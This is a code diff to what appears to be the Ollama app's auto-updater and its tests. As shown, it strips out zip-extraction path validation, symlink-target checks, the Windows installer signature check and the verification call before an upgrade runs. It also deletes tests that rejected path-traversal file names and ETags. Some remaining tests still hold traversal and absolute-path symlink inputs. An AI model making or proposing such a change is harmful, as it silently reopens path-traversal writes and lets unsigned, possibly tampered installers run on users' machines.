||||
if strings.HasPrefix(filepath.Join(filepath.Dir(f.Name), link), "..") {
|
||||
return fmt.Errorf("bundle contains link outside of contents %s -> %s", f.Name, link)
|
||||
}
|
||||
destName, err := bundleEntryPath(dir, f.Name, bundleEntryWithArchiveRoot)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err = os.Symlink(link, destName); err != nil {
|
||||
if err = os.Symlink(link, filepath.Join(dir, f.Name)); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
@@ -344,53 +343,6 @@ func verifyDownload() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func bundleEntryPath(root, name string, scope bundleEntryScope) (string, error) {
|
||||
cleanName := filepath.Clean(filepath.FromSlash(name))
|
||||
if !filepath.IsLocal(cleanName) {
|
||||
return "", fmt.Errorf("bundle contains invalid path: %s", name)
|
||||
}
|
||||
if scope == bundleEntryWithArchiveRoot && cleanName != updateArchiveRoot &&
|
||||
!strings.HasPrefix(cleanName, updateArchiveRoot+string(os.PathSeparator)) {
|
||||
return "", fmt.Errorf("bundle contains invalid path: %s", name)
|
||||
}
|
||||
return filepath.Join(root, cleanName), nil
|
||||
}
|
||||
|
||||
func extractBundleFile(f *zip.File, destName, name string) error {
|
||||
src, err := f.Open()
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to open bundle file %s: %w", name, err)
|
||||
}
|
||||
defer src.Close()
|
||||
|
||||
d := filepath.Dir(destName)
|
||||
if _, err := os.Stat(d); err != nil {
|
||||
if err := os.MkdirAll(d, 0o755); err != nil {
|
||||
return fmt.Errorf("failed to mkdir %s: %w", d, err)
|
||||
}
|
||||
}
|
||||
|
||||
destFile, err := os.OpenFile(destName, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o755)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to open output file %s: %w", destName, err)
|
||||
}
|
||||
defer destFile.Close()
|
||||
|
||||
if _, err := io.Copy(destFile, src); err != nil {
|
||||
return fmt.Errorf("failed to open extract file %s: %w", destName, err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func validBundleLinkTarget(name, link string, scope bundleEntryScope) bool {
|
||||
cleanTarget := filepath.Clean(filepath.Join(filepath.Dir(filepath.FromSlash(name)), filepath.FromSlash(link)))
|
||||
if !filepath.IsLocal(cleanTarget) {
|
||||
return false
|
||||
}
|
||||
return scope == bundleEntryRelative || cleanTarget == updateArchiveRoot ||
|
||||
strings.HasPrefix(cleanTarget, updateArchiveRoot+string(os.PathSeparator))
|
||||
}
|
||||
|
||||
// If we detect an upgrade bundle, attempt to upgrade at startup
|
||||
func DoUpgradeAtStartup() error {
|
||||
bundle := getStagedUpdate()
|
||||
@@ -434,7 +386,7 @@ func IsUpdatePending() bool {
|
||||
func chownWithAuthorization(user string) bool {
|
||||
u := C.CString(user)
|
||||
defer C.free(unsafe.Pointer(u))
|
||||
return bool(C.chownWithAuthorization(u))
|
||||
return (bool)(C.chownWithAuthorization(u))
|
||||
}
|
||||
|
||||
func verifyExtractedBundle(path string) error {
|
||||
|
||||
@@ -2,7 +2,6 @@ package updater
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"errors"
|
||||
"io/fs"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -147,46 +146,6 @@ func TestDoUpgrade(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestDoUpgradeRejectsInvalidBundlePath(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
BundlePath = filepath.Join(tmpDir, "Ollama.app")
|
||||
appBackupDir = filepath.Join(tmpDir, "backup")
|
||||
UpdateStageDir = filepath.Join(tmpDir, "updates")
|
||||
UpgradeMarkerFile = filepath.Join(tmpDir, "upgraded")
|
||||
bundle := filepath.Join(UpdateStageDir, "foo", "ollama-darwin.zip")
|
||||
invalidTarget := filepath.Join(tmpDir, "invalid-entry")
|
||||
|
||||
if err := os.MkdirAll(filepath.Join(BundlePath, "Contents", "MacOS"), 0o755); err != nil {
|
||||
t.Fatal("failed to create empty dirs")
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(BundlePath, "Contents", "MacOS", "Ollama"), []byte("old app"), 0o755); err != nil {
|
||||
t.Fatal("failed to create old app")
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(bundle), 0o755); err != nil {
|
||||
t.Fatal("failed to create empty dirs")
|
||||
}
|
||||
if err := zipCreationHelper(bundle, []testPayload{{
|
||||
Name: "Ollama.app/../invalid-entry",
|
||||
Body: []byte("payload"),
|
||||
}}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := DoUpgrade(false); err == nil {
|
||||
t.Fatal("expected failure with invalid bundle path")
|
||||
} else if !strings.Contains(err.Error(), "bundle contains invalid path") {
|
||||
t.Fatalf("unexpected error with invalid bundle path: %s", err)
|
||||
}
|
||||
if _, err := os.Stat(invalidTarget); err == nil {
|
||||
t.Fatalf("invalid bundle path wrote %s", invalidTarget)
|
||||
} else if !errors.Is(err, os.ErrNotExist) {
|
||||
t.Fatalf("unexpected stat error for %s: %s", invalidTarget, err)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(BundlePath, "Contents", "MacOS", "Ollama")); err != nil {
|
||||
t.Fatalf("old app was not restored: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDoUpgradeAtStartup(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
BundlePath = filepath.Join(tmpDir, "Ollama.app")
|
||||
@@ -244,7 +203,7 @@ func TestVerifyDownloadFailures(t *testing.T) {
|
||||
in []testPayload
|
||||
expected string
|
||||
}{
|
||||
{"invalid symlink target", []testPayload{
|
||||
{"breakout", []testPayload{
|
||||
{
|
||||
Name: "Ollama.app/",
|
||||
Body: []byte{},
|
||||
@@ -253,34 +212,15 @@ func TestVerifyDownloadFailures(t *testing.T) {
|
||||
Body: []byte("cli payload here"),
|
||||
}, {
|
||||
Name: "Ollama.app/Contents/MacOS/Ollama",
|
||||
Body: []byte("../../../../invalid-target"),
|
||||
Body: []byte("../../../../breakout"),
|
||||
Mode: os.ModeSymlink,
|
||||
},
|
||||
}, "bundle contains invalid symlink"},
|
||||
{"invalid archive symlink target", []testPayload{
|
||||
{
|
||||
Name: "Ollama.app/Contents/MacOS/Ollama",
|
||||
Body: []byte("../../../invalid-target"),
|
||||
Mode: os.ModeSymlink,
|
||||
},
|
||||
}, "bundle contains invalid symlink"},
|
||||
}, "bundle contains link outside"},
|
||||
{"absolute", []testPayload{{
|
||||
Name: "Ollama.app/Contents/MacOS/Ollama",
|
||||
Body: []byte("/etc/foo"),
|
||||
Mode: os.ModeSymlink,
|
||||
}}, "bundle contains absolute"},
|
||||
{"invalid relative file", []testPayload{{
|
||||
Name: "Ollama.app/../invalid-entry",
|
||||
Body: []byte("payload"),
|
||||
}}, "bundle contains invalid path"},
|
||||
{"invalid relative directory", []testPayload{{
|
||||
Name: "Ollama.app/../invalid-entry/",
|
||||
Body: []byte{},
|
||||
}}, "bundle contains invalid path"},
|
||||
{"absolute file", []testPayload{{
|
||||
Name: filepath.Join(tmpDir, "invalid-entry"),
|
||||
Body: []byte("payload"),
|
||||
}}, "bundle contains invalid path"},
|
||||
{"missing", []testPayload{{
|
||||
Name: "Ollama.app/Contents/MacOS/Ollama",
|
||||
Body: []byte("../nothere"),
|
||||
@@ -302,11 +242,6 @@ func TestVerifyDownloadFailures(t *testing.T) {
|
||||
if err == nil || !strings.Contains(err.Error(), tt.expected) {
|
||||
t.Fatalf("expected \"%s\" got %s", tt.expected, err)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(tmpDir, "invalid-entry")); err == nil {
|
||||
t.Fatal("invalid bundle path wrote unexpected file")
|
||||
} else if !errors.Is(err, os.ErrNotExist) {
|
||||
t.Fatalf("unexpected stat error for invalid file: %s", err)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,127 +0,0 @@
|
||||
//go:build (windows || darwin) && updater_live
|
||||
|
||||
package updater
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/app/store"
|
||||
"github.com/ollama/ollama/app/version"
|
||||
)
|
||||
|
||||
// TestLiveAppUpdate exercises the production update endpoint and downloads the
|
||||
// current OS update artifact. It is intentionally excluded from normal test
|
||||
// runs because it depends on ollama.com and downloads a release artifact.
|
||||
//
|
||||
// Run with:
|
||||
//
|
||||
// go test -tags updater_live -run TestLiveAppUpdate ./app/updater
|
||||
func TestLiveAppUpdate(t *testing.T) {
|
||||
const spoofedVersion = "0.20.0"
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Minute)
|
||||
defer cancel()
|
||||
|
||||
oldUpdateStageDir := UpdateStageDir
|
||||
oldUpdateDownloaded := UpdateDownloaded
|
||||
oldVerifyDownload := VerifyDownload
|
||||
oldVersion := version.Version
|
||||
defer func() {
|
||||
UpdateStageDir = oldUpdateStageDir
|
||||
UpdateDownloaded = oldUpdateDownloaded
|
||||
VerifyDownload = oldVerifyDownload
|
||||
version.Version = oldVersion
|
||||
}()
|
||||
|
||||
version.Version = spoofedVersion
|
||||
|
||||
expectedFilename := ""
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
t.Setenv("LOCALAPPDATA", t.TempDir())
|
||||
expectedFilename = "OllamaSetup.exe"
|
||||
case "darwin":
|
||||
expectedFilename = "Ollama-darwin.zip"
|
||||
default:
|
||||
t.Fatalf("unsupported updater live test OS %q", runtime.GOOS)
|
||||
}
|
||||
|
||||
UpdateStageDir = filepath.Join(t.TempDir(), "updates")
|
||||
UpdateDownloaded = false
|
||||
verifyCalled := false
|
||||
VerifyDownload = func() error {
|
||||
verifyCalled = true
|
||||
return verifyDownload()
|
||||
}
|
||||
|
||||
updater := &Updater{Store: &store.Store{DBPath: filepath.Join(t.TempDir(), "db.sqlite")}}
|
||||
defer updater.Store.Close()
|
||||
|
||||
available, updateResp := updater.checkForUpdate(ctx)
|
||||
if !available {
|
||||
t.Fatalf("expected production update check to offer an update for spoofed version %s", spoofedVersion)
|
||||
}
|
||||
if updateResp.UpdateURL == "" {
|
||||
t.Fatal("production update response did not include a download URL")
|
||||
}
|
||||
t.Logf("production update version=%q url=%q", updateResp.UpdateVersion, updateResp.UpdateURL)
|
||||
|
||||
if err := updater.DownloadNewRelease(ctx, updateResp); err != nil {
|
||||
t.Fatalf("download production update: %v", err)
|
||||
}
|
||||
|
||||
staged := getStagedUpdate()
|
||||
if staged == "" {
|
||||
t.Fatal("production update was not staged")
|
||||
}
|
||||
t.Logf("staged production update at %s", staged)
|
||||
|
||||
assertPathInsideDir(t, UpdateStageDir, staged)
|
||||
if filepath.Base(staged) != expectedFilename {
|
||||
t.Fatalf("expected staged %s update filename to be %q, got %q", runtime.GOOS, expectedFilename, filepath.Base(staged))
|
||||
}
|
||||
expectedExt := filepath.Ext(expectedFilename)
|
||||
if filepath.Ext(staged) != expectedExt {
|
||||
t.Fatalf("expected staged %s update to be a %s artifact, got %s", runtime.GOOS, expectedExt, staged)
|
||||
}
|
||||
|
||||
info, err := os.Stat(staged)
|
||||
if err != nil {
|
||||
t.Fatalf("stat staged update: %v", err)
|
||||
}
|
||||
if info.Size() == 0 {
|
||||
t.Fatal("staged production update is empty")
|
||||
}
|
||||
|
||||
if !verifyCalled {
|
||||
t.Fatal("DownloadNewRelease did not call VerifyDownload")
|
||||
}
|
||||
t.Logf("production updater download path verified staged %s update", runtime.GOOS)
|
||||
}
|
||||
|
||||
func assertPathInsideDir(t *testing.T, dir, name string) {
|
||||
t.Helper()
|
||||
|
||||
dir, err := filepath.Abs(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
name, err = filepath.Abs(name)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
rel, err := filepath.Rel(dir, name)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) || filepath.IsAbs(rel) {
|
||||
t.Fatalf("staged update escaped update stage dir: %s", name)
|
||||
}
|
||||
}
|
||||
@@ -11,9 +11,7 @@ import (
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
@@ -21,52 +19,6 @@ import (
|
||||
"github.com/ollama/ollama/app/store"
|
||||
)
|
||||
|
||||
func TestUpdateStagePathRejectsUnsafeFilename(t *testing.T) {
|
||||
stageDir := t.TempDir()
|
||||
for _, tt := range []struct {
|
||||
name string
|
||||
filename string
|
||||
}{
|
||||
{"empty", ""},
|
||||
{"dot", "."},
|
||||
{"dotdot", ".."},
|
||||
{"posix_parent", "../OllamaSetup.exe"},
|
||||
{"windows_parent", `..\OllamaSetup.exe`},
|
||||
{"posix_absolute_tmp", "/tmp/OllamaSetup.exe"},
|
||||
{"darwin_absolute_app", "/Applications/Ollama.app"},
|
||||
{"darwin_bundle_path", "Ollama.app/Contents/MacOS/Ollama"},
|
||||
{"darwin_user_download", "~/Downloads/Ollama-darwin.zip"},
|
||||
{"windows_absolute", `C:\Users\Public\OllamaSetup.exe`},
|
||||
{"colon", "Ollama:Setup.exe"},
|
||||
} {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if _, err := updateStagePath(stageDir, "etag", tt.filename); err == nil {
|
||||
t.Fatal("expected unsafe filename to be rejected")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpdateStagePathHashesETag(t *testing.T) {
|
||||
stageDir := t.TempDir()
|
||||
stageFilename, err := updateStagePath(stageDir, `../escaped`, "OllamaSetup.exe")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
rel, err := filepath.Rel(stageDir, stageFilename)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) || filepath.IsAbs(rel) {
|
||||
t.Fatalf("stage filename escaped stage dir: %s", stageFilename)
|
||||
}
|
||||
etagDir := filepath.Base(filepath.Dir(stageFilename))
|
||||
if etagDir == ".." || etagDir == "escaped" || strings.ContainsAny(etagDir, `/\`) {
|
||||
t.Fatalf("stage filename used raw etag path component: %s", stageFilename)
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsNewReleaseAvailable(t *testing.T) {
|
||||
slog.SetLogLoggerLevel(slog.LevelDebug)
|
||||
var server *httptest.Server
|
||||
@@ -95,241 +47,6 @@ func TestIsNewReleaseAvailable(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestDownloadNewReleaseRejectsUnsafeHeaderFilename(t *testing.T) {
|
||||
UpdateStageDir = t.TempDir()
|
||||
oldInstaller := Installer
|
||||
oldVerifyDownload := VerifyDownload
|
||||
oldUpdateDownloaded := UpdateDownloaded
|
||||
defer func() {
|
||||
Installer = oldInstaller
|
||||
VerifyDownload = oldVerifyDownload
|
||||
UpdateDownloaded = oldUpdateDownloaded
|
||||
}()
|
||||
Installer = "OllamaSetup.exe"
|
||||
UpdateDownloaded = false
|
||||
VerifyDownload = func() error {
|
||||
t.Fatal("verification should not run for rejected downloads")
|
||||
return nil
|
||||
}
|
||||
|
||||
var getAttempted atomic.Bool
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method == http.MethodHead {
|
||||
w.Header().Set("ETag", `"safe"`)
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="../OllamaSetup.exe"`)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
return
|
||||
}
|
||||
getAttempted.Store(true)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
updater := &Updater{}
|
||||
err := updater.DownloadNewRelease(t.Context(), UpdateResponse{UpdateURL: server.URL + "/download"})
|
||||
if err == nil || !strings.Contains(err.Error(), "unsafe update filename") {
|
||||
t.Fatalf("expected unsafe filename error, got %v", err)
|
||||
}
|
||||
if getAttempted.Load() {
|
||||
t.Fatal("download should not continue after unsafe filename")
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(filepath.Dir(UpdateStageDir), "OllamaSetup.exe")); err == nil {
|
||||
t.Fatal("download escaped update stage dir")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDownloadNewReleaseDoesNotUseRawETagAsPathComponent(t *testing.T) {
|
||||
UpdateStageDir = t.TempDir()
|
||||
oldInstaller := Installer
|
||||
oldVerifyDownload := VerifyDownload
|
||||
oldUpdateDownloaded := UpdateDownloaded
|
||||
defer func() {
|
||||
Installer = oldInstaller
|
||||
VerifyDownload = oldVerifyDownload
|
||||
UpdateDownloaded = oldUpdateDownloaded
|
||||
}()
|
||||
Installer = "OllamaSetup.exe"
|
||||
UpdateDownloaded = false
|
||||
VerifyDownload = func() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
payload := []byte("payload")
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("ETag", `"../escaped"`)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
if r.Method == http.MethodGet {
|
||||
_, _ = w.Write(payload)
|
||||
}
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
updater := &Updater{}
|
||||
if err := updater.DownloadNewRelease(t.Context(), UpdateResponse{UpdateURL: server.URL + "/download"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if _, err := os.Stat(filepath.Join(filepath.Dir(UpdateStageDir), "escaped", Installer)); err == nil {
|
||||
t.Fatal("download escaped update stage dir via etag")
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(UpdateStageDir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(entries) != 1 {
|
||||
t.Fatalf("expected one staged update dir, got %d", len(entries))
|
||||
}
|
||||
stageFilename := filepath.Join(UpdateStageDir, entries[0].Name(), Installer)
|
||||
got, err := os.ReadFile(stageFilename)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(got) != string(payload) {
|
||||
t.Fatalf("unexpected staged payload %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// waitDownloadIdle blocks until no download is in flight, so staged-file
|
||||
// handles close before t.TempDir cleanup removes the stage directory. After
|
||||
// the context is cancelled a new download can't write (it aborts at the HEAD
|
||||
// request), so reaching idle makes cleanup race-free.
|
||||
func (u *Updater) waitDownloadIdle() {
|
||||
deadline := time.Now().Add(2 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
u.cancelDownloadLock.Lock()
|
||||
idle := u.cancelDownload == nil
|
||||
u.cancelDownloadLock.Unlock()
|
||||
if idle {
|
||||
return
|
||||
}
|
||||
time.Sleep(time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackgroundCheckerSkipsAlreadyStagedETagDownload(t *testing.T) {
|
||||
UpdateStageDir = t.TempDir()
|
||||
oldInstaller := Installer
|
||||
oldVerifyDownload := VerifyDownload
|
||||
oldUpdateDownloaded := UpdateDownloaded
|
||||
oldUpdateCheckInitialDelay := UpdateCheckInitialDelay
|
||||
oldUpdateCheckInterval := UpdateCheckInterval
|
||||
oldUpdateCheckURLBase := UpdateCheckURLBase
|
||||
defer func() {
|
||||
Installer = oldInstaller
|
||||
VerifyDownload = oldVerifyDownload
|
||||
UpdateDownloaded = oldUpdateDownloaded
|
||||
UpdateCheckInitialDelay = oldUpdateCheckInitialDelay
|
||||
UpdateCheckInterval = oldUpdateCheckInterval
|
||||
UpdateCheckURLBase = oldUpdateCheckURLBase
|
||||
}()
|
||||
Installer = "OllamaSetup.exe"
|
||||
UpdateDownloaded = false
|
||||
UpdateCheckInitialDelay = time.Millisecond
|
||||
UpdateCheckInterval = 5 * time.Millisecond
|
||||
|
||||
var verifyCount atomic.Int32
|
||||
VerifyDownload = func() error {
|
||||
verifyCount.Add(1)
|
||||
return nil
|
||||
}
|
||||
|
||||
headETag := `"old-update"`
|
||||
getETag := `"download-response-etag"`
|
||||
payload := []byte("payload")
|
||||
var headCount atomic.Int32
|
||||
var getCount atomic.Int32
|
||||
var server *httptest.Server
|
||||
server = httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/update.json":
|
||||
w.Write([]byte(
|
||||
fmt.Sprintf(`{"version": "9.9.9", "url": "%s"}`,
|
||||
server.URL+"/9.9.9/"+Installer)))
|
||||
case "/9.9.9/" + Installer:
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="OllamaSetup.exe"`)
|
||||
switch r.Method {
|
||||
case http.MethodHead:
|
||||
etag := headETag
|
||||
if getCount.Load() > 0 {
|
||||
etag = getETag
|
||||
}
|
||||
w.Header().Set("ETag", etag)
|
||||
headCount.Add(1)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
case http.MethodGet:
|
||||
w.Header().Set("ETag", getETag)
|
||||
getCount.Add(1)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
_, _ = w.Write(payload)
|
||||
default:
|
||||
t.Errorf("unexpected request method %s", r.Method)
|
||||
w.WriteHeader(http.StatusMethodNotAllowed)
|
||||
}
|
||||
default:
|
||||
t.Errorf("unexpected request path %s", r.URL.Path)
|
||||
w.WriteHeader(http.StatusNotFound)
|
||||
}
|
||||
}))
|
||||
defer server.Close()
|
||||
UpdateCheckURLBase = server.URL + "/update.json"
|
||||
|
||||
updater := &Updater{Store: &store.Store{DBPath: filepath.Join(t.TempDir(), "test.db")}}
|
||||
defer updater.Store.Close()
|
||||
settings, err := updater.Store.Settings()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
settings.AutoUpdateEnabled = true
|
||||
if err := updater.Store.SetSettings(settings); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithCancel(t.Context())
|
||||
defer cancel()
|
||||
|
||||
callbacks := make(chan string, 4)
|
||||
updater.StartBackgroundUpdaterChecker(ctx, func(ver string) error {
|
||||
callbacks <- ver
|
||||
return nil
|
||||
})
|
||||
t.Cleanup(updater.waitDownloadIdle)
|
||||
|
||||
for range 2 {
|
||||
select {
|
||||
case <-callbacks:
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("timed out waiting for repeated update checks")
|
||||
}
|
||||
}
|
||||
cancel()
|
||||
|
||||
stageFilename, err := updateStagePath(UpdateStageDir, getETag, Installer)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, err := os.ReadFile(stageFilename)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(got) != string(payload) {
|
||||
t.Fatalf("unexpected staged payload %q", got)
|
||||
}
|
||||
|
||||
if headCount.Load() < 2 {
|
||||
t.Fatalf("HEAD count = %d, want at least 2", headCount.Load())
|
||||
}
|
||||
if getCount.Load() != 1 {
|
||||
t.Fatalf("GET count = %d, want 1", getCount.Load())
|
||||
}
|
||||
if verifyCount.Load() != 1 {
|
||||
t.Fatalf("verification count = %d, want 1", verifyCount.Load())
|
||||
}
|
||||
if !UpdateDownloaded {
|
||||
t.Fatal("UpdateDownloaded should stay true for already staged update")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackgoundChecker(t *testing.T) {
|
||||
UpdateStageDir = t.TempDir()
|
||||
haveUpdate := false
|
||||
@@ -382,7 +99,6 @@ func TestBackgoundChecker(t *testing.T) {
|
||||
}
|
||||
|
||||
updater.StartBackgroundUpdaterChecker(ctx, cb)
|
||||
t.Cleanup(updater.waitDownloadIdle)
|
||||
select {
|
||||
case <-stallTimer.C:
|
||||
t.Fatal("stalled")
|
||||
@@ -445,7 +161,6 @@ func TestAutoUpdateDisabledSkipsDownload(t *testing.T) {
|
||||
}
|
||||
|
||||
updater.StartBackgroundUpdaterChecker(ctx, cb)
|
||||
t.Cleanup(updater.waitDownloadIdle)
|
||||
|
||||
// Wait enough time for multiple check cycles
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
@@ -508,7 +223,6 @@ func TestAutoUpdateReenabledDownloadsUpdate(t *testing.T) {
|
||||
}
|
||||
|
||||
upd.StartBackgroundUpdaterChecker(ctx, cb)
|
||||
t.Cleanup(upd.waitDownloadIdle)
|
||||
|
||||
// Wait for a few cycles with auto-update disabled - no download should happen
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
@@ -577,9 +291,7 @@ func TestCancelOngoingDownload(t *testing.T) {
|
||||
_, resp := updater.checkForUpdate(ctx)
|
||||
|
||||
// Start download in goroutine
|
||||
downloadDone := make(chan struct{})
|
||||
go func() {
|
||||
defer close(downloadDone)
|
||||
_ = updater.DownloadNewRelease(ctx, resp)
|
||||
}()
|
||||
|
||||
@@ -600,10 +312,6 @@ func TestCancelOngoingDownload(t *testing.T) {
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("download cancellation was not received by server")
|
||||
}
|
||||
|
||||
// Wait for the download goroutine to unwind: it drags along a background
|
||||
// update-check loop that reads package-level knobs the next test rewrites.
|
||||
<-downloadDone
|
||||
}
|
||||
|
||||
func TestTriggerImmediateCheck(t *testing.T) {
|
||||
@@ -642,7 +350,6 @@ func TestTriggerImmediateCheck(t *testing.T) {
|
||||
}
|
||||
|
||||
updater.StartBackgroundUpdaterChecker(ctx, cb)
|
||||
t.Cleanup(updater.waitDownloadIdle)
|
||||
|
||||
// Wait for the initial check that fires after the initial delay
|
||||
select {
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
package updater
|
||||
|
||||
import (
|
||||
"crypto/x509"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
@@ -19,30 +18,6 @@ import (
|
||||
|
||||
var runningInstaller string
|
||||
|
||||
var (
|
||||
crypt32 = windows.NewLazySystemDLL("crypt32.dll")
|
||||
procCryptMsgGetParam = crypt32.NewProc("CryptMsgGetParam")
|
||||
procCryptMsgClose = crypt32.NewProc("CryptMsgClose")
|
||||
)
|
||||
|
||||
const cmsgSignerInfoParam = 6
|
||||
|
||||
type cmsgSignerInfo struct {
|
||||
Version uint32
|
||||
Issuer windows.CertNameBlob
|
||||
SerialNumber windows.CryptIntegerBlob
|
||||
HashAlgorithm windows.CryptAlgorithmIdentifier
|
||||
HashEncryptionAlgorithm windows.CryptAlgorithmIdentifier
|
||||
EncryptedHash windows.CryptDataBlob
|
||||
AuthAttrs cryptAttributes
|
||||
UnauthAttrs cryptAttributes
|
||||
}
|
||||
|
||||
type cryptAttributes struct {
|
||||
Count uint32
|
||||
Attributes unsafe.Pointer
|
||||
}
|
||||
|
||||
type OSVERSIONINFOEXW struct {
|
||||
dwOSVersionInfoSize uint32
|
||||
dwMajorVersion uint32
|
||||
@@ -78,7 +53,7 @@ func init() {
|
||||
func loadOSVersion() {
|
||||
UserAgentOS = "Windows"
|
||||
verInfo := OSVERSIONINFOEXW{}
|
||||
verInfo.dwOSVersionInfoSize = uint32(unsafe.Sizeof(verInfo))
|
||||
verInfo.dwOSVersionInfoSize = (uint32)(unsafe.Sizeof(verInfo))
|
||||
ntdll, err := windows.LoadDLL("ntdll.dll")
|
||||
if err != nil {
|
||||
slog.Warn("unable to find ntdll", "error", err)
|
||||
@@ -124,12 +99,6 @@ func DoUpgrade(interactive bool) error {
|
||||
return fmt.Errorf("failed to lookup downloads")
|
||||
}
|
||||
|
||||
if err := VerifyDownload(); err != nil {
|
||||
_ = os.Remove(bundle)
|
||||
slog.Warn("verification failure", "bundle", bundle, "error", err)
|
||||
return fmt.Errorf("staged update verification failed: %w", err)
|
||||
}
|
||||
|
||||
// We move the installer to ensure we don't race with multiple apps starting in quick succession
|
||||
if err := os.Rename(bundle, runningInstaller); err != nil {
|
||||
return fmt.Errorf("unable to rename %s -> %s : %w", bundle, runningInstaller, err)
|
||||
@@ -215,150 +184,6 @@ func DoPostUpgradeCleanup() error {
|
||||
}
|
||||
|
||||
func verifyDownload() error {
|
||||
bundle := getStagedUpdate()
|
||||
if bundle == "" {
|
||||
return fmt.Errorf("failed to lookup downloads")
|
||||
}
|
||||
slog.Debug("verifying update", "bundle", bundle)
|
||||
|
||||
if err := verifyWindowsInstallerSignature(bundle); err != nil {
|
||||
return fmt.Errorf("signature verification failed: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func verifyWindowsInstallerSignature(filename string) error {
|
||||
filename16, err := windows.UTF16PtrFromString(filename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
data := &windows.WinTrustData{
|
||||
Size: uint32(unsafe.Sizeof(windows.WinTrustData{})),
|
||||
UIChoice: windows.WTD_UI_NONE,
|
||||
RevocationChecks: windows.WTD_REVOKE_WHOLECHAIN,
|
||||
UnionChoice: windows.WTD_CHOICE_FILE,
|
||||
StateAction: windows.WTD_STATEACTION_VERIFY,
|
||||
UIContext: windows.WTD_UICONTEXT_INSTALL,
|
||||
FileOrCatalogOrBlobOrSgnrOrCert: unsafe.Pointer(&windows.WinTrustFileInfo{
|
||||
Size: uint32(unsafe.Sizeof(windows.WinTrustFileInfo{})),
|
||||
FilePath: filename16,
|
||||
}),
|
||||
}
|
||||
|
||||
verifyErr := windows.WinVerifyTrustEx(windows.InvalidHWND, &windows.WINTRUST_ACTION_GENERIC_VERIFY_V2, data)
|
||||
data.StateAction = windows.WTD_STATEACTION_CLOSE
|
||||
